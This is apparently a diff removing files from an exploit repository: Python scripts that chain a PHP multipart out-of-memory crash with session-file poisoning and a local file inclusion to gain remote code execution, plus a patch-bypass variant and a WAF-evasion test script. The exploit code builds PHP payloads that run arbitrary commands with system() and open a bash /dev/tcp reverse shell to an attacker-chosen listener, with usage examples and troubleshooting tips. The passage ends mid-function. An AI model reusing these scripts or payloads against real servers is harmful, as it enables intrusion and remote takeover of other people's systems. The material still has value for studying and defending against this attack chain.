body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
|
||||
body += b"\r\n" + b"X" * field_size + b"\r\n"
|
||||
|
||||
body += b"--" + bnd + b"--\r\n"
|
||||
return body
|
||||
|
||||
|
||||
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
|
||||
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
|
||||
bnd = b"----RLIMITRCE"
|
||||
body = build_oom_body(bnd, php_code, field_count, field_size)
|
||||
|
||||
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
|
||||
|
||||
sock = tcp_connect(host, port, tls)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError):
|
||||
pass
|
||||
|
||||
resp = b""
|
||||
sock.settimeout(30)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except (socket.timeout, ConnectionResetError):
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
status = 0
|
||||
try:
|
||||
status = int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
return status
|
||||
|
||||
|
||||
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
|
||||
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
|
||||
for sp in session_paths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
lfi_url = f"{path}?{lfi_param}={sess_file}"
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
return rbody, sp
|
||||
except Exception:
|
||||
continue
|
||||
return None, None
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
|
||||
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
print(f" Fields : {args.fields} x {args.field_size}B")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||
|
||||
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
|
||||
status = phase1_crash(host, port, tls, path, sid, php_code,
|
||||
args.fields, args.field_size)
|
||||
print(f" HTTP {status} — worker crashed (mmap failure)")
|
||||
|
||||
print(f" Waiting {args.respawn_wait}s for worker respawn...")
|
||||
time.sleep(args.respawn_wait)
|
||||
|
||||
print(f" Phase 2: LFI include of poisoned session file...")
|
||||
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
|
||||
sid, spaths)
|
||||
if rbody is not None:
|
||||
text = rbody.decode(errors="replace")
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||
result = m.group(1).strip() if m else text[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print(f"[+] Session path: {found_path}")
|
||||
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
|
||||
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
|
||||
print("[+] Affects: containers with cgroup limits, shared hosting with")
|
||||
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
|
||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||
return
|
||||
|
||||
print(f" Session file not found or already cleaned")
|
||||
|
||||
print()
|
||||
print("[!] All attempts failed.")
|
||||
print(" Possible causes:")
|
||||
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
|
||||
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
|
||||
print(" - Session save path not in search list → use --session-path")
|
||||
print(" - Worker respawn too slow → increase --respawn-wait")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
|
||||
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
|
||||
mmap() fails through a DIFFERENT path the patch doesn't cover.
|
||||
|
||||
Preconditions:
|
||||
- Target uses memory_limit=-1 (trusting OS limits)
|
||||
- OS enforces RLIMIT_AS or cgroup memory limit
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
|
||||
The only effective mitigation is: session.upload_progress.enabled=0
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target")
|
||||
ap.add_argument("--fields", type=int, default=10000,
|
||||
help="Number of multipart fields (default: 10000)")
|
||||
ap.add_argument("--field-size", type=int, default=8192,
|
||||
help="Size of each field value in bytes (default: 8192)")
|
||||
ap.add_argument("--respawn-wait", type=float, default=3.0,
|
||||
help="Seconds to wait for worker respawn (default: 3.0)")
|
||||
ap.add_argument("--attempts", type=int, default=3,
|
||||
help="Number of attempts (default: 3)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,144 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
|
||||
|
||||
Tests Content-Type evasion techniques against nginx/Apache WAF rules
|
||||
that block multipart/form-data POST requests.
|
||||
|
||||
Tested against the community-recommended mitigations from:
|
||||
- PasqualePillitteri/php2shell-hardening
|
||||
- syhunt/php2shell-protection
|
||||
|
||||
Findings:
|
||||
1. PUT/PATCH methods bypass POST-only WAF rules
|
||||
- PHP 8.4's request_parse_body() parses multipart on these methods
|
||||
- Session upload progress only fires on POST (rfc1867 handler)
|
||||
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
|
||||
|
||||
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
|
||||
- nginx $http_content_type returns the first header value
|
||||
- FastCGI CONTENT_TYPE joins all headers with ", "
|
||||
- PHP truncates at first comma → takes the first value
|
||||
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
|
||||
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
|
||||
|
||||
3. Content-Type with reversed comma order bypasses nginx but not PHP
|
||||
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
|
||||
- PHP truncates at comma → "text/plain" → no multipart parsing
|
||||
- Same as #2: passes WAF but useless for the attack
|
||||
|
||||
4. The effective WAF bypass for the session poisoning attack is:
|
||||
- If the WAF blocks multipart POST but allows normal POST
|
||||
- AND the application has session.upload_progress.enabled=1
|
||||
- The attacker can still race with the session file (no multipart needed for LFI)
|
||||
- Only the POISON request needs multipart; the LFI probe is a normal GET
|
||||
|
||||
Usage:
|
||||
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
|
||||
|
||||
def send_request(host, port, method, path, headers, body=b""):
|
||||
"""Send raw HTTP request and return status code."""
|
||||
sock = socket.create_connection((host, port), timeout=10)
|
||||
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
|
||||
for k, v in headers.items():
|
||||
if isinstance(v, list):
|
||||
for val in v:
|
||||
req += f"{k}: {val}\r\n".encode()
|
||||
else:
|
||||
req += f"{k}: {v}\r\n".encode()
|
||||
if body:
|
||||
req += f"Content-Length: {len(body)}\r\n".encode()
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
if body:
|
||||
req += body
|
||||
sock.sendall(req)
|
||||
resp = b""
|
||||
sock.settimeout(5)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
|
||||
def run_tests(waf_host, waf_port, plain_host, plain_port):
|
||||
bnd = "----WAFTEST"
|
||||
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
|
||||
|
||||
tests = [
|
||||
("Standard multipart POST",
|
||||
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
("Mixed case: Multipart/Form-Data",
|
||||
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
|
||||
("ALL CAPS: MULTIPART/FORM-DATA",
|
||||
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
|
||||
("Leading whitespace",
|
||||
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
|
||||
("Comma-separated (multipart first)",
|
||||
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
|
||||
("Comma-separated (text/plain first)",
|
||||
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
|
||||
("Duplicate CT (text/plain first)",
|
||||
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
|
||||
("Duplicate CT (multipart first)",
|
||||
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
|
||||
("PUT method",
|
||||
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
("PATCH method",
|
||||
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
]
|
||||
|
||||
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
|
||||
print("-" * 75)
|
||||
|
||||
for name, method, headers in tests:
|
||||
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
|
||||
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
|
||||
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
|
||||
if waf_code != 403:
|
||||
bypass = f"WAF:{waf_code}"
|
||||
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
|
||||
ap.add_argument("--target", required=True, help="WAF-protected URL")
|
||||
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
|
||||
args = ap.parse_args()
|
||||
|
||||
from urllib.parse import urlparse
|
||||
waf = urlparse(args.target)
|
||||
plain = urlparse(args.unprotected)
|
||||
|
||||
print("=" * 75)
|
||||
print(" WAF Bypass Tests for php2shell Mitigations")
|
||||
print("=" * 75)
|
||||
print(f" WAF target : {args.target}")
|
||||
print(f" Unprotected : {args.unprotected}")
|
||||
print()
|
||||
|
||||
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
|
||||
print()
|
||||
print("Notes:")
|
||||
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
|
||||
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
|
||||
print(" - The race exploit only needs multipart for the POISON request (POST)")
|
||||
print(" - The LFI probe is a normal GET, which no WAF blocks")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,17 +0,0 @@
|
||||
<?php
|
||||
header('Content-Type: text/plain');
|
||||
$pid = getmypid();
|
||||
$status_pre = session_status();
|
||||
$sid_pre = session_id();
|
||||
$ok = @session_start();
|
||||
$status_post = session_status();
|
||||
$sid_post = session_id();
|
||||
$data = isset($_SESSION) ? $_SESSION : [];
|
||||
echo "pid=$pid\n";
|
||||
echo "session_status_before=$status_pre\n";
|
||||
echo "session_id_before=$sid_pre\n";
|
||||
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
||||
echo "session_status_after=$status_post\n";
|
||||
echo "session_id_after=$sid_post\n";
|
||||
echo "session_data=" . json_encode($data) . "\n";
|
||||
echo "session_save_path=" . session_save_path() . "\n";
|
||||
@@ -1,426 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
|
||||
|
||||
The PHP multipart parser (rfc1867.c) allocates memory for each form field
|
||||
during request parsing. By sending enough fields to exceed memory_limit
|
||||
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
|
||||
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
|
||||
skips session.upload_progress cleanup — even with cleanup=1 (default).
|
||||
|
||||
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
|
||||
PHP code — persists on disk. A follow-up request to a new FPM worker
|
||||
includes this file via an LFI vector, executing our code.
|
||||
|
||||
Phase 1 ─ Poison + Crash
|
||||
Multipart body:
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
|
||||
2. File upload (triggers progress handler → session flush to disk)
|
||||
3. N form fields (OOM during parsing → bailout → cleanup skipped)
|
||||
Worker crashes → session file persists with PHP code on disk.
|
||||
|
||||
Phase 2 ─ Trigger
|
||||
FPM master spawns new worker. We include the session file via LFI
|
||||
and the embedded PHP code executes.
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM with session.upload_progress.enabled=1 (default)
|
||||
- memory_limit reachable via multipart fields (or RLIMIT_AS)
|
||||
- An LFI vector in the target (include/require with user input)
|
||||
- Known or guessable session.save_path
|
||||
|
||||
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
|
||||
|
||||
Usage:
|
||||
python3 exploit.py -t http://target/app.php --cmd 'id'
|
||||
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
python3 exploit.py -t http://target/app.php --trigger-only
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ─── defaults ────────────────────────────────────────────────────────
|
||||
|
||||
FIELD_COUNT = 30000
|
||||
FIELD_SIZE = 512
|
||||
BATCH = 500
|
||||
USE_CHUNKED = True
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
"/var/lib/php/sess",
|
||||
]
|
||||
|
||||
# ─── multipart builder ───────────────────────────────────────────────
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
def mp_file(bnd, name, fname, content):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + fname + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
# ─── HTTP helpers ────────────────────────────────────────────────────
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
def send_chunk(sock, data):
|
||||
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
def http_get(host, port, tls, path, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
sock.sendall(
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out = b""
|
||||
data = raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
# ─── Phase 1: poison session + crash worker ──────────────────────────
|
||||
|
||||
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
|
||||
chunked=True):
|
||||
"""Send multipart: upload progress + file + OOM fields.
|
||||
|
||||
Returns (http_status_or_0, fields_sent_before_crash).
|
||||
|
||||
When chunked=False, builds full body with Content-Length. Required
|
||||
when nginx has fastcgi_request_buffering off — chunked bodies bypass
|
||||
PHP's multipart parser in that configuration.
|
||||
"""
|
||||
if not chunked:
|
||||
return _phase1_contentlength(host, port, tls, path, bnd, sid,
|
||||
php_code, fields, fsize)
|
||||
|
||||
sock = tcp_connect(host, port, tls)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Transfer-Encoding: chunked\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
|
||||
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
|
||||
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||
# 2. File upload — triggers progress handler, session flushed to disk
|
||||
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
|
||||
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
|
||||
sent = 0
|
||||
for start in range(0, fields, BATCH):
|
||||
end = min(start + BATCH, fields)
|
||||
batch = b""
|
||||
for i in range(start, end):
|
||||
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
try:
|
||||
send_chunk(sock, batch)
|
||||
sent = end
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
break
|
||||
try:
|
||||
send_chunk(sock, mp_end(bnd))
|
||||
sock.sendall(b"0\r\n\r\n")
|
||||
except:
|
||||
pass
|
||||
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return status_code(resp), sent
|
||||
|
||||
|
||||
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
|
||||
fields, fsize):
|
||||
"""Content-Length variant — builds the full body then sends it."""
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
|
||||
sock = tcp_connect(host, port, tls)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return status_code(resp), fields
|
||||
|
||||
# ─── Phase 2: LFI include of session file ───────────────────────────
|
||||
|
||||
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
|
||||
"""Try including the session file via common paths."""
|
||||
for sp in session_paths:
|
||||
sess = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess}"
|
||||
try:
|
||||
resp = http_get(host, port, tls, url, timeout=10)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
|
||||
return resp, sess
|
||||
except:
|
||||
continue
|
||||
return None, None
|
||||
|
||||
# ─── main ────────────────────────────────────────────────────────────
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
sid = args.session_id or os.urandom(16).hex()
|
||||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
# Build PHP payload
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" Session ID : {sid}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
print(f" Fields : {args.fields} × {args.field_size}B")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
# ── Phase 0: verify target ──
|
||||
print("[*] Phase 0: checking target...")
|
||||
try:
|
||||
r0 = http_get(host, port, tls, path, timeout=5)
|
||||
sc = status_code(r0)
|
||||
if sc == 0:
|
||||
raise ConnectionError("no response")
|
||||
print(f" HTTP {sc} — target alive")
|
||||
except Exception as e:
|
||||
print(f" [!] Not reachable: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# ── Phase 1: poison session + crash ──
|
||||
print()
|
||||
print("[*] Phase 1: session poisoning + OOM crash")
|
||||
print(f" Injecting {len(php_code)}B PHP code into session key...")
|
||||
|
||||
use_chunked = not args.no_chunked
|
||||
if not use_chunked:
|
||||
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
|
||||
status, fields_sent = phase1(
|
||||
host, port, tls, path, bnd, sid,
|
||||
php_code, args.fields, args.field_size,
|
||||
chunked=use_chunked,
|
||||
)
|
||||
|
||||
if status == 502 or status == 0:
|
||||
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
|
||||
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
|
||||
elif status == 500:
|
||||
print(f" [+] HTTP 500 — OOM during script (worker survived)")
|
||||
else:
|
||||
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
|
||||
|
||||
# Wait for new worker
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(1.5)
|
||||
for i in range(8):
|
||||
try:
|
||||
r1 = http_get(host, port, tls, path, timeout=3)
|
||||
sc1 = status_code(r1)
|
||||
if sc1 in (200, 301, 302, 403, 404):
|
||||
print(f" New worker ready (HTTP {sc1})")
|
||||
break
|
||||
except:
|
||||
pass
|
||||
time.sleep(1)
|
||||
else:
|
||||
print(" [!] New worker not available after 8 retries")
|
||||
sys.exit(1)
|
||||
|
||||
# ── Phase 2: LFI trigger ──
|
||||
print()
|
||||
print("[*] Phase 2: including poisoned session file via LFI...")
|
||||
|
||||
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
|
||||
|
||||
if resp is None:
|
||||
print(" [!] Session file not found at any common path")
|
||||
print(f" Try: --session-path /actual/path")
|
||||
print(f" File: sess_{sid}")
|
||||
sys.exit(1)
|
||||
|
||||
output = body_of(resp).decode(errors="replace")
|
||||
print(f" Session file: {sess_path}")
|
||||
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
|
||||
if m:
|
||||
print()
|
||||
print(f"[+] Code execution confirmed!")
|
||||
print(f" {m.group(1)}")
|
||||
else:
|
||||
print(f" [*] Session file exists but code may not have executed")
|
||||
print(f" Response: {output[:200]}")
|
||||
return
|
||||
|
||||
if args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
|
||||
if m:
|
||||
result = m.group(1).strip()
|
||||
else:
|
||||
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
|
||||
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
|
||||
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
|
||||
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print("[+] RCE achieved via CVE-2026-109618!")
|
||||
print()
|
||||
print("[*] For continued access:")
|
||||
cmd_b64 = base64.b64encode(b"id").decode()
|
||||
